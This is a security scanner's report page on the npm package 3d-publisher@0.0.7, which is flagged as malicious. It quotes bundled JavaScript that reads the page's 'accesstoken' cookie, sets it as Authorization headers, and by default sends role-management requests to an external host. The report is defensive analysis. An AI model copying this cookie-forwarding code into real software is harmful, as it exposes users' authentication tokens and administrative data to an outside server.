Loading npm security reports…

3d-publisher@0.0.7: Malicious npm security report (Block) | LPM Firewall

registry / 3d-publisher / 0.0.7

3d-publisher@0.0.7

> TODO: description

AI Security Review

scanned 4h ago · by lpm-firewall-ai

When rendered outside two hard-coded production hosts, the package defaults to an external development API. It forwards the embedding page's accesstoken cookie and role-management request data to that API.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A consumer renders the exported React container and uses its role-management interface.

Impact

An external service can receive an accessible authentication token and administrative application data from an embedding site.

Mechanism

Cookie-token forwarding to a hard-coded external API.

Attack narrative

The bundle is an application-specific role-management client disguised by unrelated documentation. On ordinary consumer hosts, its environment selector chooses 3d-test.onewo.com. Its Axios interceptor extracts an accesstoken cookie from the embedding page and places it in Authorization and Access-Token headers. When the rendered UI performs role-management operations, it posts request data to that external API. This creates a concrete runtime credential and application-data exfiltration path.

Rationale

The default external endpoint, cookie-token forwarding, and administrative POST operations form a concrete exfiltration path unrelated to the declared package presentation. There is no install hook, but runtime activation is sufficient for a publish block.

Evidence

dist/index.umd.jsREADME.md

Network endpoints4

3d-test.onewo.com3d-login-test.onewo.com3d-login-fat.onewo.com

Source & flagged code

6 flagged · loading source

dist/index.umd.jsView file

•Browser cookie sent to a fixed external endpoint in dist/index.umd.js: /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.[redacted]-helpers/LICENSE */ var DEV_SERVER_URL = "http://3d-test.onewo.com"; REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径 REDIRECTURL: "http://3d-login-fat.onewo.com" REDIRECTURL: "https://3d-login.onewo.com" if (arr = document.cookie.match(reg)) return arr[2];else return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/index.umd.jsView on unpkg

306var DEV_SERVER_URL = "http://3d-test.onewo.com"; var envConstant = [{ BASEURL: "".concat(DEV_SERVER_URL, "/api"), // 基础接口路径 REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径

High

Ai Review Evidence

On any unrecognized host, the bundle selects the external 3d-test.onewo.com API.

dist/index.umd.jsView on unpkg · L306

318function checkEnv() { switch (host) { // 正式环境 case "3d.onewo.com": return envConstant[2]; // fat测试环境 case "3d-fat.onewo.com": return envConstant[1]; // dev开发环境 default: return envConstant[0]; } }

High

Ai Review Evidence

On any unrecognized host, the bundle selects the external 3d-test.onewo.com API.

dist/index.umd.jsView on unpkg · L318

398return _context.a(2, service({ url: '/base-role-[redacted]', method: 'post', data: params }));

High

Ai Review Evidence

Rendered role-management actions post caller-provided data to that configured external API.

dist/index.umd.jsView on unpkg · L398

351service.interceptors.request.use(function (config) { // 取accesstoken var accesstoken = getCookie("accesstoken"); // 设置request-header if (accesstoken) { config.headers["Authorization"] = accesstoken; config.headers["Access-Control-Allow-Origin"] = "*"; config.headers["Access-Token"] = accesstoken; }

Medium

Stripped Provenance Metadata

The request interceptor reads the accesstoken browser cookie and sends it as authorization headers.

dist/index.umd.jsView on unpkg · L351

README.mdView file

1## Install ``` npm i react-tiny-autosuggest ```

High

Ai Review Evidence

The package documentation identifies a different package, which obscures this application-specific network behavior.

README.mdView on unpkg · L1

Source & flagged code

6 flagged

dist/index.umd.jsView file

Lines 286-371javascript

286 } else {

287 head.appendChild(style);

288 }

289 } else {

290 head.appendChild(style);

291 }

292

293 if (style.styleSheet) {

294 style.styleSheet.cssText = css;

295 } else {

296 style.appendChild(document.createTextNode(css));

297 }

298 }

299

300 var css_248z = "html,\r\nbody,\r\n#root {\r\n height: 100%;\r\n}\r\n\r\n.ant-layout-header {\r\n background: #fff !important;\r\n}\r\n";

301 styleInject(css_248z);

302

303 var protocol = window.location.protocol;

304 var host = window.location.host;

305 var serverURL = "".concat(protocol, "//").concat(host);

306 var DEV_SERVER_URL = "http://3d-test.onewo.com";

307 var envConstant = [{

308 BASEURL: "".concat(DEV_SERVER_URL, "/api"),

309 // 基础接口路径

310 REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径

High

Ai Review Evidence

On any unrecognized host, the bundle selects the external 3d-test.onewo.com API.

dist/index.umd.jsView on unpkg · L306

311 }, {

312 BASEURL: "".concat(serverURL, "/api"),

313 REDIRECTURL: "http://3d-login-fat.onewo.com"

314 }, {

315 BASEURL: "".concat(serverURL, "/api"),

316 REDIRECTURL: "https://3d-login.onewo.com"

317 }];

318 function checkEnv() {

319 switch (host) {

320 // 正式环境

321 case "3d.onewo.com":

322 return envConstant[2];

323 // fat测试环境

324 case "3d-fat.onewo.com":

325 return envConstant[1];

326 // dev开发环境

327 default:

328 return envConstant[0];

329 }

High

Ai Review Evidence

On any unrecognized host, the bundle selects the external 3d-test.onewo.com API.

dist/index.umd.jsView on unpkg · L318

330 }

331

332 // 解析url.获得对应的参数

333 //判断是否是IE浏览器

334 function isIE() {

335 //ie?

336 if (!!window.ActiveXObject || "ActiveXObject" in window) return true;else return false;

337 }

338

339 var service = axios__default['default'].create({

340 baseURL: checkEnv().BASEURL

341 });

342 // 获取cookie

343 function getCookie(cname) {

344 var arr,

345 reg = new RegExp("(^| )" + cname + "=([^;]*)(;|$)");

346 // eslint-disable-next-line

347 if (arr = document.cookie.match(reg)) return arr[2];else return null;

348 }

349

350 // http request 拦截器

351 service.interceptors.request.use(function (config) {

352 // 取accesstoken

353 var accesstoken = getCookie("accesstoken");

354 // 设置request-header

355 if (accesstoken) {

356 config.headers["Authorization"] = accesstoken;

357 config.headers["Access-Control-Allow-Origin"] = "*";

358 config.headers["Access-Token"] = accesstoken;

359 }

Medium

Stripped Provenance Metadata

The request interceptor reads the accesstoken browser cookie and sends it as authorization headers.

dist/index.umd.jsView on unpkg · L351

360 if (config.method === "get" && isIE()) {

361 config.params = _objectSpread2({

362 _t: Date.parse(new Date()) / 1000

363 }, config.params);

364 }

365 return config;

366 }, function (err) {

367 return Promise.reject(err);

368 });

369

370 // http response 拦截器

371 service.interceptors.response.use(function (response) {

Lines 378-418javascript

378 }

379 return response;

380 }, function (err) {

381 return Promise.reject(err);

382 });

383

384 // 获取管理员列表

385 function

•Browser cookie sent to a fixed external endpoint in dist/index.umd.js: /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.[redacted]-helpers/LICENSE */ var DEV_SERVER_URL = "http://3d-test.onewo.com"; REDIRECTURL: "http://3d-login-test.onewo.com" // 登录过期重定向路径 REDIRECTURL: "http://3d-login-fat.onewo.com" REDIRECTURL: "https://3d-login.onewo.com" if (arr = document.cookie.match(reg)) return arr[2];else return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/index.umd.jsView on unpkg

README.mdView file

Lines 1-21markdown

1## Install

2

3```

4npm i react-tiny-autosuggest

5```

High

Ai Review Evidence

The package documentation identifies a different package, which obscures this application-specific network behavior.

README.mdView on unpkg · L1

6

7## Usage

8

9```

10import AutoSuggest from 'react-tiny-autosuggest';

11